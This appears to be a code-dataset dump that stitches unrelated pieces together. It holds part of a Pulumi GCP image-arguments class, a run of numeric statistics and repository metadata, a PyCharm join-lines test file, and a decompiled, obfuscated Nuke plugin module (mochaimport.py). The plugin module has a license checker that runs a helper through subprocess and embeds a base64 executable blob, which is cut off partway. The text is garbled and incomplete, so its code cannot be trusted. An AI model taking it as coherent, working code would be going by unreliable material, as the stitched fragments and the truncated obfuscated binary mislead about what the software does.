def __init__(__self__, *, repository: pulumi.Input[str], tag: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] repository: The path to the container image repository. For example: gcr.io/{project_id}/{imageName} :param pulumi.Input[str] tag: The tag of the container image. If not specified, this defaults to the latest tag. """ pulumi.set(__self__, "repository", repository) if tag is not None: pulumi.set(__self__, "tag", tag) @property @pulumi.getter def repository(self) -> pulumi.Input[str]: """ The path to the container image repository. For example: gcr.io/{project_id}/{imageName} """ return pulumi.get(self, "repository") @repository.setter def repository(self, value: pulumi.Input[str]): pulumi.set(self, "repository", value) @property @pulumi.getter def tag(self) -> Optional[pulumi.Input[str]]: """ The tag of the container image. If not specified, this defaults to the latest tag. """ return pulumi.get(self, "tag") @tag.setter def tag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tag", value) @pulumi.input_type class InstanceVmImageArgs: def __init__(__self__, *, project: pulumi.Input[str], image_family: Optional[pulumi.Input[str]] = None, image_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] project: The name of the Google Cloud project that this VM image belongs to. Format: projects/{project_id} :param pulumi.Input[str] image_family: Use this VM image family to find the image; the newest image in this family will be used. :param pulumi.Input[str] image_name: Use VM image name to find the image. """ pulumi.set(__self__, "project", project) if image_family is not None: pulumi.set(__self__, "image_family", image_family) if image_name is not None: pulumi.set(__self__, "image_name", image_name) @property @pulumi.getter def project(self) -> pulumi.Input[str]: """ The name of the Google Cloud project that this VM image belongs to. Format: projects/{project_id} """ return pulumi.get(self, "project") @project.setter def project(self, value: pulumi.Input[str]): pulumi.set(self, "project", value) @property @pulumi.getter(name="imageFamily") def image_family(self) -> Optional[pulumi.Input[str]]: """ Use this VM image family to find the image; the newest image in this family will be used. """ return pulumi.get(self, "image_family") @image_family.setter def image_family(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_family", value) @property @pulumi.getter(name="imageName") def image_name(self) -> Optional[pulumi.Input[str]]: """ Use VM image name to find the image. """ return pulumi.get(self, "image_name") @image_name.setter def image_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_name", value)

35.54

261

0.631739

1,098

8,885

4.928051

0.10929

0.107743

0.113842

0.073184

0.844945

0.817594

0.806875

0.800222

0

0.00527

0.252561

8,885

249

262

35.682731

0.809517

0.319977

0

0.77305

1

0

0.084936

0.019238

0

1

0.205674

false

0

0.035461

0

0.361702

0

null

0

1

0

1

0

null

0

1

0

9

c37d5166f331610d42f7a0a7b9737c015503fdb1

134

py

Python

python/testData/joinLines/ListOfStrings.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/joinLines/ListOfStrings.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/joinLines/ListOfStrings.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

a = [ "AAAAAAA", "BBBBB" "AAAAAAA", "BBBBB" "AAAAAAA",<caret> "BBBBB" "AAAAAAA", "BBBBB" "AAAAAAA", "BBBBB" "AAAAAAA", "BBBBB"]

67

81

0.58209

14

134

5.571429

0.285714

0.769231

0.974359

0.923077

0

0.156716

134

2

82

67

0.690265

0

0.533333

0

null

0

null

0

1

0

null

1

0

1

0

null

0

1

0

7

5ee15a2f5e6b800f316f422e0d07101011ec409a

417,912

py

Python

python/mamoworld/mochaImportPlus/version_03f30d0a/mochaimport.py

smile-jing/NukeToolSet

45a2523f3bfa60fbfb03c9702bbdd20cf42cb331

[ "MIT" ]

81

2016-05-05T15:04:43.000Z

2022-03-21T06:54:22.000Z

python/mamoworld/mochaImportPlus/version_03f30d0a/mochaimport.py

ensii75/NukeToolSet

0c47efc3bc7ca513f902e00a3e2b71404636aae9

[ "MIT" ]

8

2018-04-04T16:35:26.000Z

2022-02-10T09:56:30.000Z

python/mamoworld/mochaImportPlus/version_03f30d0a/mochaimport.py

ensii75/NukeToolSet

0c47efc3bc7ca513f902e00a3e2b71404636aae9

[ "MIT" ]

51

2016-05-07T14:27:42.000Z

2022-02-10T05:55:11.000Z

#! /usr/bin/env python 2.7 (62211) # coding=utf-8 # Compiled at: 2015-04-01 08:00:59 __all__ = ['createStabilizedView', 'createCornerPin', 'createTracker3Node', 'createTracker4Node', 'createRotoPaintNodeMI', 'createRotoNodeMI', 'createGridWarpNodeMI', 'createSplineWarpNodeMI', 'createTransformNodeMI', 'createCameraAndPointCloud', 'createCameraRig', 'setUseGizmos', 'applyMochaDataToNode'] import nuke as b import re import pprint def Q(eF): return map(lambda (ac, aJ): b.AnimationKey(ac, aJ), eF) def dg(d, eG, eH, eI, eJ): bu(d, eG, 0) bu(d, eH, 1) bu(d, eI, 2) bu(d, eJ, 3) def bu(d, knob, Y): knob.setAnimated() eK = Q(d.getPointValues(Y, 'x')) eL = Q(d.getPointValues(Y, 'y')) knob.animation(0).clear() knob.animation(1).clear() knob.animation(0).addKey(eK) knob.animation(1).addKey(eL) def bv(Z, name, aK): dh = b.XY_Knob(name, aK) Z.addKnob(dh) dh.setTooltip('corner pin tracking data') def eM(Z): cf = b.PyScript_Knob('loadTrackingDataFromFile', 'load tracking data from file') cf.setTooltip('import mocha corner pin data from a file\n\nrequired format: Nuke Corner Pin (*.nk)') cf.setCommand('import cornerPinData\ncornerPinData___loadCornerPinDataFromFile(nuke.thisNode() )') Z.addKnob(cf) Z.addKnob(b.Text_Knob('divName', '', '')) bv(Z, 'pin1', 'pin 1') bv(Z, 'pin2', 'pin 2') bv(Z, 'pin3', 'pin 3') bv(Z, 'pin4', 'pin 4') di = b.Array_Knob('pinTimeOffset', 'Corner Pin Time Offset') di.setTooltip('shift your tracking data if it does not start at the first frame') Z.addKnob(di) def eN(i, ai): aj(i, ai, 'filter', False) aj(i, ai, 'clamp', False) aj(i, ai, 'black_outside', False) aj(i, ai, 'motionblur', True) aj(i, ai, 'shutter', True) aj(i, ai, 'shutteroffset', True) aj(i, ai, 'shuttercustomoffset', False).setLabel('') def aj(eO, eP, dj, eQ): knob = b.Link_Knob(dj) knob.makeLink(eO.name(), dj) if eQ: knob.setFlag(b.STARTLINE) else: knob.clearFlag(b.STARTLINE) eP.addKnob(knob) return knob import nuke as b from Qt import QtWidgets as l from tempfile import mkstemp as hg import os as al import stat as dl from subprocess import Popen, PIPE as fa from platform import system as bw, architecture as eW import re class cg(Exception): pass class eR(object): def __init__(a, qqewrtz, qqrrtet): a.qqewrtz = qqewrtz a.qqrrtet = qqrrtet a.qqgerter = a.ertuze() a.qqjztzt = a.hrrwre() def sddfg(a): ad = a.qqgerter.execute([a.qqewrtz, '-']) ak = ad[0] ae = ad[1] if ak != '' or ae != '': raise cg('could not remove license' + str(ak) + str(ae)) def zzdfger(a, ch): eS = re.compile('^[A-Z]{2}[A-Z0-9]{30}$') s = eS.match(ch) != None return s def ddsjz(a, ch): eT = ch.strip() ad = a.qqgerter.execute([a.qqewrtz, eT]) ak = ad[0] ae = ad[1] if ae != '': raise cg('could not install license' + str(ak) + str(ae)) def fggtzh(a): h = a.ertzz() return h['status'] == 'valid' def hf(a): h = a.ertzz() return h['status'] == 'valid' and h['license type'] == 'BTA' def ertzz(a): ad = a.qqjztzt.execute([a.qqewrtz, a.qqrrtet]) ak = ad[0] ae = ad[1] if ae != '': raise cg('could not validate license' + str(ak) + str(ae)) h = a.tetz(ak) return h def tetz(a, data): eU = re.compile( "^status:\\s*([^\\r\\n]*)\\s*first name:\\s*'(.*)'\\s*last name:\\s*'(.*)'\\s*number of user licenses:\\s*(\\d*)\\s*license type:\\s*'(.*)'\\s*pluginID") ar = eU.match(data) if ar == None: raise Exception('invalid licensing info') h = {'status': ar.group(1), 'first name': ar.group(2), 'last name': ar.group(3), 'number of user licenses': ar.group(4), 'license type': ar.group(5)} return h def hrrwre(a): if a.__isMacOs(): R = at( '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SIsDSIt46EgB374KAAAA6G5LAAAPvvBIid/ogUsAAEiJx+h/SwAASI01x1kAAEiJ37ouAAAA6BNMAABIiwNIi3joSAHfvgoAAADoM0sAAA++8EiJ3+hGSwAASInH6ERLAABBv//////p+wMAAMaFuP7//wDGhdb+//8AxoX4/v//AMaFAv///wDGhSD///8Ax4X0/v//AAAAAEiLewhMjb1Q////TIn+6P0wAABBicZIi3sQ6NFLAABIjZW4/v//TIn/icboUjoAAEiNvbD+//9IjTVMWQAASI2VqP7//4TAQb//////RQ9F/ugKSwAASI2dAv///0yNpfj+//9Mja3W/v//QYP//Q+EggAAAEGD//50YkGD//8PhYoAAABIjb2w/v//SI01/VgAALohAAAA6KtKAADrcEiJw0iLhbD+//9IjXjoSDs90mAAAA+EPAMAALn/////8A/BSPiFyQ+PKgMAAEiNtUD////oUkoAAOkZAwAASI29sP7//0iNNcdYAAC6HgAAAOhTSgAA6xhIjb2w/v//SI01zFgAALogAAAA6DlKAABIiz2AYAAASI011VgAALoIAAAA6I1KAABIi7Ww/v//SItW6EiLPV1gAADodkoAAEiNNbZYAABIice6AQAAAOhiSgAASIs9PWAAAEiNNZ1YAAC6DQAAAOhKSgAATI21uP7//0yJ9+izSgAASIs9FmAAAEyJ9kiJwugpSgAASIs9BGAAAEiNNXJYAAC6AgAAAOgRSgAASIs97F8AAEiNNV1YAAC6DAAAAOj5SQAATYXtdR9Iiz3PXwAASIsHSItA6It0ByBIAceDzgHo0UkAAOsaTInv6EVKAABIiz2oXwAATInuSInC6LtJAABIiz2WXwAASI01BFgAALoCAAAA6KNJAABIiz1+XwAASI01/FcAALoZAAAA6ItJAACLtfT+//9Iiz1gXwAA6ONIAABIjTW5VwAASInHugEAAADoZUkAAEiLPUBfAABIjTXYVwAAug8AAADoTUkAAE2F5HUfSIs9I18AAEiLB0iLQOiLdAcgSAHHg84B6CVJAADrGkyJ5+iZSQAASIs9/F4AAEyJ5kiJwugPSQAASIs96l4AAEiNNVhXAAC6AgAAAOj3SAAASIs90l4AAEiNNXpXAAC6CwAAAOjfSAAASIXbdR9Iiz21XgAASIsHSItA6It0ByBIAceDzgHot0gAAOsaSInf6CtJAABIiz2OXgAASIneSInC6KFIAABIiz18XgAASI016lYAALoCAAAA6IlIAABIiz1kXgAASI01GFcAALoJAAAA6HFIAABIjZ0g////SIXbdR9Iiz1AXgAASIsHSItA6It0ByBIAceDzgHoQkgAAOsaSInf6LZIAABIiz0ZXgAASIneSInC6CxIAABIiz0HXgAASI01dVYAALoCAAAA6BRIAABIi4Ww/v//SI146Eg7PdRdAAB0Grn/////8A/BSPiFyX8MSI21SP///+hcRwAASIsF0V0AAEiLAEg7RdB1IESJ+EiBxDgBAABbQVxBXUFeQV9dw0iJw0iJ3+jgRwAA6OdHAACQkJBVSInlU1BIjR0DYAAASInf6I1HAABIiz1sXQAASI0VLe3//0iJ3kiDxAhbXemtRwAAVUiJ5TDAXcNVSInlMMBdw1VIieVBV0FWQVVBVFNIg+wYSInzSIn4SInHSYnFSIne6ABHAABIiwNIY0DoSYnESffcSI1I/0iJTdDrFEwB+EWINARI/03QSItFyP/ISf/EhcB+QkiJRchIiwODePgAeAtIid/odEYAAEiLA0iLTdBEijQITIt46EmLRQCDePgAeLpMiehIicdJicXoTUYAAEmLRQDrpkyJ6EiDxBhbQVxBXUFeQV9dw0iJw0yJ7+h4RgAASInf6NxGAADouUYAAFVIieVBV0FWQVVBVFNIg+x4ibVs////SYn+SI1dmEyNfaDrP7n/////8A/BSPiFyX8JSI11uOjoRQAASItFmEiNeOhIOz01XAAAdBe5//////APwUj4hcl/CUiNdcDowEUAAE2LLk2LZehJg/wJD4enAAAASInfSI01LlUAAEiNVZDo0kUAAEyJ/0iJ3kyJ8ugcRQAATIn3TIn+6KdFAABIi0WgSI146Eg7PdBbAAB0iulu////SInD6ytIicNIi0WgSI146Eg7PbJbAAB0F7n/////8A/BSPiFyX8JSI11yOg9RQAASItFmEiNeOhIOz2KWwAAD4SDAQAAuf/////wD8FI+IXJD49xAQAASI110OgNRQAA6WMBAAC5CAAAAEyJ4Ej34UiJww+QwUiJ2EiDwAgPksIIykjHx/////9ID0T46H1FAABIicdIg+P4SI01iV0AAEyJJ0iDxwhIib1w////SIna6KFFAABFMeS7/////+sduf/////wD8FI+IXJfwlIjXWw6JZEAABNiy5B/8RFiedNO33oD4PFAAAARIngMdL3tWz///+F0nUk/8NIY8NIi41w////SI08wUiLBMFIi1DoMfYxyeh9RAAATYsuQYN9+AB4C0yJ9+g7RAAATYsuQ4pEPQCIRY7GRY8ASI19gEiNdY5IjZV4////6FREAABIY8NIi41w////SI08wUiNdYDoH0QAAEiLRYBIjXjoSDs9VFoAAA+EXP///+lA////60NIicNIi0WASI146Eg7PTVaAAB0Mrn/////8A/BSPiFyX8kSI11qOjAQwAA6xlIi4Vw////SIPEeFtBXEFdQV5BX13DSInDSInf6FFEAABVSInlQVdBVkFVQVRTSIHsaAYAAInzSIsF/FkAAEiLAEiJRdBIizdIjb1w+///SI2VaPv//+iZQwAASIsFuFkAAEiDwBhIiYVg+///SImFWPv//0iJhVD7//9IiYVI+///RTDkgfughgEAiZ2A+f//D4xmHQAASI29cPv//0iNNaBSAAAx0rkBAAAA6K1CAABIicNIjVMBSI29cPv//0iNNX9SAAC5AQAAAOiOQgAASYnFSY1VAUiNvXD7//9IjTVgUgAAuQEAAADob0IAAEmJx0mNVwFIjb1w+///SI01QVIAALkBAAAA6FBCAAAxyUiD+/9ID0TZSYP9/0wPROlMiepICdpJg///TA9E+UiFwA+UwUiD+P8PlMBMCfp1DQjIRTDkhMAPhbAcAABIjb3Q+///SI21cPv//zHSSInZ6P9BAABIjb1g+///SI210Pv//+hqQgAASIuF0Pv//0iNeOhIOz2QWAAAdBq5//////APwUj4hcl/DEiNtdj7///oGEIAAEiJ2Uj30UwB6Uj/w0iNvcj7//9IjbVw+///SIna6JxBAABIjb1Y+///SI21yPv//+gHQgAASIuFyPv//0iNeOhIOz0tWAAAdBq5//////APwUj4hcl/DEiNteD7///otUEAAEyJ6Uj30UwB+Un/xUiNvcD7//9IjbVw+///TInq6DlBAABIjb1Q+///SI21wPv//+ikQQAASIuFwPv//0iNeOhIOz3KVwAAdBq5//////APwUj4hcl/DEiNtej7///oUkEAAEiLhXD7//9Ii0joSf/HSI29uPv//0iNtXD7//9Mifro1EAAAEiNvUj7//9IjbW4+///6D9BAABIi4W4+///SI146Eg7PWVXAAB0Grn/////8A/BSPiFyX8MSI218Pv//+jtQAAASIuFSPv//0iLSOhIg8HxSI29QPv//0iNtUj7//+6DwAAAOhsQAAASI29OPv//0iNtUD7///o9UAAADDbSIuFOPv//0iDeOgED4K9AQAARTH/TI21OPv//+sDSf/HQYP/Ag+GYAEAAEG/AwAAAEyNtTj7//9IicHrDjDbgPo5D4+HAQAAQf/HRYn8swFMO2HoD4N1AQAAg3n4AHgSTIn36ENAAABIi4U4+///SInBQooUITDbgPowD4xOAQAAg3n4AHi2TIn36BxAAABIi4U4+///QooUIEiJweueSYnGSIuF0Pv//0iNeOhIOz1ZVgAAD4SYIQAAuf/////wD8FI+IXJD4+GIQAASI21+Pv//+l1IQAASYnGSIuFyPv//0iNeOhIOz0gVgAAD4RfIQAAuf/////wD8FI+IXJD49NIQAASI21APz//+k8IQAASYnGSIuFwPv//0iNeOhIOz3nVQAAD4QmIQAAuf/////wD8FI+IXJD48UIQAASI21CPz//+kDIQAASYnGSIuFuPv//0iNeOhIOz2uVQAAD4TtIAAAuf/////wD8FI+IXJD4/bIAAASI21EPz//+nKIAAASYnG6ccgAACDePgAeA9MiffoEj8AAEiLhTj7//9Cigw4MNuA+UF8JIN4+AB4E0yJ9+jyPgAASIuFOPv//0KKDDgw24D5Wg+OT/7//0iNeOhIOz0zVQAAdBq5//////APwUj4hcl/DEiNtRj8///ouz4AAEUw5ITbD4TBGAAASI29MPv//0iNtUj7//+6DgAAALkBAAAA6Dk+AABIjb0o+///SI21SPv//7oMAAAAuQIAAADoHD4AAEiNvSD7//9IjbVI+///MdK5DAAAAOgCPgAASI29SPv//0iNtSD7///obT4AAEiLhSD7//9IjXjoSDs9k1QAAHQauf/////wD8FI+IXJfwxIjbUo/P//6Bs+AABIjb0A+///SI21YPv//0iNlVj7///ojz0AAEiNvQj7//9IjbUA+///SI2VSPv//+h1PQAASI29EPv//0iNtQj7//9IjZVQ+///6Fs9AABIjb34+v//SI21QPv//+j8PQAASI29EPv//0iNtfj6///oWSAAAESLtYD5//9IjV2ASI01GU0AAEiJ34nCMMDoeT4AAEiNvRj7//9IjZUw/P//SIne6Kk9AABIi4X4+v//SI146Eg7Pb1TAAB0Grn/////8A/BSPiFyX8MSI21OPz//+hFPQAASIuFEPv//0iNeOhIOz2PUwAAdBq5//////APwUj4hcl/DEiNtUD8///oFz0AAEiLhQj7//9IjXjoSDs9YVMAAHQauf/////wD8FI+IXJfwxIjbVI/P//6Ok8AABIi4UA+///SI146Eg7PTNTAAB0Grn/////8A/BSPiFyX8MSI21UPz//+i7PAAASIuFGPv//0iLUOhIg8L+SI298Pr//0iNtRj7//+5AgAAAOg6PAAASI29GPv//0iNtfD6///opTwAAEiLhfD6//9IjXjoSDs9y1IAAHQauf/////wD8FI+IXJfwxIjbVY/P//6FM8AABIi70o+///6BM9AABIicNIi70Y+///6AQ9AABFMORIOcMPhbMVAABIjb3o+v//SI21SPv//zHSuQIAAADouDsAAEiLvej6///ozDwAAEGJxEiNvdj6//9IjbVg+///SI2VWPv//+h3OwAASI294Pr//0iNtdj6//9IjZVQ+///6F07AABIjb3Q+v//SI21QPv//+j+OwAASI294Pr//0iNtdD6///oWx4AAImFfPn//0iLhdD6//9IjXjoSDs97VEAAHQauf/////wD8FI+IXJfwxIjbWQ/P//6HU7AABIi4Xg+v//SI146Eg7Pb9RAAB0Grn/////8A/BSPiFyX8MSI21mPz//+hHOwAASIuF2Pr//0iNeOhIOz2RUQAAdBq5//////APwUj4hcl/DEiNtaD8///oGTsAAEiNvbj6//9IjbVg+///SI2VWPv//+iNOgAASI29wPr//0iNtbj6//9IjZVQ+///6HM6AABIjb3I+v//SI21wPr//0iNlUj7///oWToAAEiNvbD6//9IjbVA+///6Po6AABIjb3I+v//SI21sPr//+hXHQAASIuFsPr//0iNeOhIOz3vUAAAdBq5//////APwUj4hcl/DEiNtaj8///odzoAAEiLhcj6//9IjXjoSDs9wVAAAHQauf/////wD8FI+IXJfwxIjbWw/P//6Ek6AABIi4XA+v//SI146Eg7PZNQAAB0Grn/////8A/BSPiFyX8MSI21uPz//+gbOgAASIuFuPr//0iNeOhIOz1lUAAAdBq5//////APwUj4hcl/DEiNtcD8///o7TkAAEiLhVj7//+DePgAeAxIjb1Y+///6M45AABIi4VQ+///g3j4AHgMSI29UPv//+i1OQAASI1dgEiNNTRJAABIid9EifIwwOiTOgAASI29oPr//0iNlcj8//9Iid7owzkAAEiLhaD6//+DePgAeBNIjb2g+v//6G45AABIi4Wg+v//igiIjaj6//9IjXjoSDs9tk8AAHQauf/////wD8FI+IXJfwxIjbUI/f//6D45AADGhan6//8ASI29qPr//+jxOQAASI2dqvr//0iNNU5IAABIid+JwjDA6AE6AABIjb2Y+v//SI2VkPr//0iJ3ugxOQAASIu9mPr//+i1OQAAicFBa9wKidiZ9/lBidVIi4VI+///SItI6EiDwf5Ijb2I+v//SI21SPv//7oCAAAA6GA4AABIjb1I+///SI21iPr//+jLOAAASIuFiPr//0iNeOhIOz3xTgAAdBq5//////APwUj4hcl/DEiNtRD9///oeTgAAEiNvXj6//9IjbVI+///6Kg4AABIjb2A+v//SI21ePr//+hw8f//SI29SPv//0iNtYD6///oZDgAAEiLhYD6//9IjXjoSDs9ik4AAHQauf/////wD8FI+IXJfwxIjbUY/f//6BI4AABIi4V4+v//SI146Eg7PVxOAAB0Grn/////8A/BSPiFyX8MSI21IP3//+jkNwAASIsFOU4AAEiDwBhIiYVw+v//SImFaPr//0iNvWj6//9IjbVI+///6Nw3AABEKetIY8NMafiZmZmZTIn4SMHoP0nB/yJBAcdDjUQ8AYmFiPn//0UB50Ux7UWJ/EWJ/seFjPn//wAAAABEieNIi4VI+///SDtY6HMpg3j4AHgTSI29SPv//+hUNwAASIuFSPv//w++NBhIjb1w+v//6HM3AABEifZIi4Vo+v//SDtw6HMRSI29aPr//7oBAAAA6C43AABEietIi4Vw+v//SDtY6HMtg3j4AHgTSI29c